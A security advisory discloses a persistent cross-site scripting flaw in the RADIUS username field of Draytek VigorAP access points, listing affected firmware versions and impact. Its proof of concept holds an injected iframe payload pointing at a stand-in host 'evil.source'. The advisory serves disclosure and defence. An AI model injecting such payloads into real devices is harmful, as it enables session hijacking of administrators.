===============
Draytek VigorAP - (RADIUS) Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2244
Release Date:
=============
2020-05-07
Vulnerability Laboratory ID (VL-ID):
====================================
2244
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
VigorAP is 11ac Wave 2 dual-band wireless mesh access point with
port
LAN switch. VigorAP provides the flexibility and advanced
features for professional users to take full management of the
wireless
network, including the mesh technology, which aims for providing an
easy
way to expand the wireless network in minutes.
(Copy of the Homepage: https://www.draytek.com/ &
https://www.draytek.com/products/vigorap-903/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered
multiple
persistent web vulnerabilities in the official Draytek VigorAP
series.
Affected Product(s):
====================
Draytek
[+] VigorAP 1000C | 1.3.2
[+] VigorAP 700 | 1.11
[+] VigorAP 710 | 1.2.5
[+] VigorAP 800 | 1.1.4
[+] VigorAP 802 | 1.3.2
[+] VigorAP 810 | 1.2.5
[+] VigorAP 900 | 1.2.0
[+] VigorAP 902 | 1.2.5
[+] VigorAP 903 | 1.3.1
[+] VigorAP 910C | 1.2.5
[+] VigorAP 912C | 1.3.2
[+] VigorAP 918R Series | 1.3.2
[+] VigorAP 920R Series | 1.3.0
[+] All other VigorAP Series with Radius Module
Vulnerability Disclosure Timeline:
==================================
2020-05-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in
the
official Draytek VigorAP product series application.
The vulnerability allows remote attackers to inject own malicious
script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The persistent input validation web vulnerability is located in
the
username input field of the RADIUS Setting - RADIUS Server
Configuration module. Remote attackers with limited access are able
to
inject own malicious persistent script codes as username.
Other privileged user accounts execute on preview of the
modules
context. The request method to inject is POST and the attack
vector is located on the application-side.
Successful exploitation of the vulnerability results in
session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of
affected
application modules.
Vulnerable Module(s):
[+] RADIUS Setting - RADIUS Server Configuration - Users
Profile
Vulnerable Input(s):
[+] Username
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be
exploited by
remote attackers with low privileged user account and low user
interaction.
For security demonstration or to reproduce the security
vulnerability
follow the provided information an steüs below to continue.
PoC: Payload
<iframe src=evil.source
onload=alert(document.domain)></iframe>
PoC: Vulnerable Source
(http:/vigorAP.localhost:50902/home.asp)
<div class="box">
<table width="652" cellspacing="1" cellpadding="2">
<tbody><tr>
<th id="userName">Username</th>
<th id="passwd">Password</th>
<th id="confirmPasswd">Confirm Password</th>
<th id="configure">Configure</th>
</tr>
<tr>
<td><input maxlength="24" type="text"
id="addusr"></td>
<td><input maxlength="24" type="password"
id="addpwd"></td>
<td><input maxlength="24" type="password"
id="addpwdcfm"></td>
<td><input type="button" id="btnAddUser" value="Add"
class="add"
onclick="addUser()">
<input type="button" id="btnCancelUser" value="Cancel"
class="add"
onclick="cancelUser()"></td>
</tr>
</tbody></table>
<table class="content" width="652" cellspacing="1"
cellpadding="2">
<tbody id="usersTb">
<tr>
<th id="userNo">NO.</th>
<th id="userNames">Username</th>
<th id="userSelect">Select</th>
</tr>
<tr><td>1</td><td>test</td><td><input
type="checkbox"><input
type="hidden" value="test"></td></tr>
tr><td>2</td><td><iframe
src=evil.source
onload=alert(document.domain)></iframe></td><td><input
type="checkbox">
<input type="hidden"
value="asd"></td></tr></tbody>
</table>
<p><input type="button" id="btnDelSelUser" value="Delete
Selected"
class="del" onclick="delSelUser()">
<input type="button" id="btnDelAllUser" value="Delete All"
class="del"
onclick="delAllUser()">
</p></div>
Reference(s):
http:/vigorAP.localhost:50902/
http:/vigorAP.localhost:50902/home.asp
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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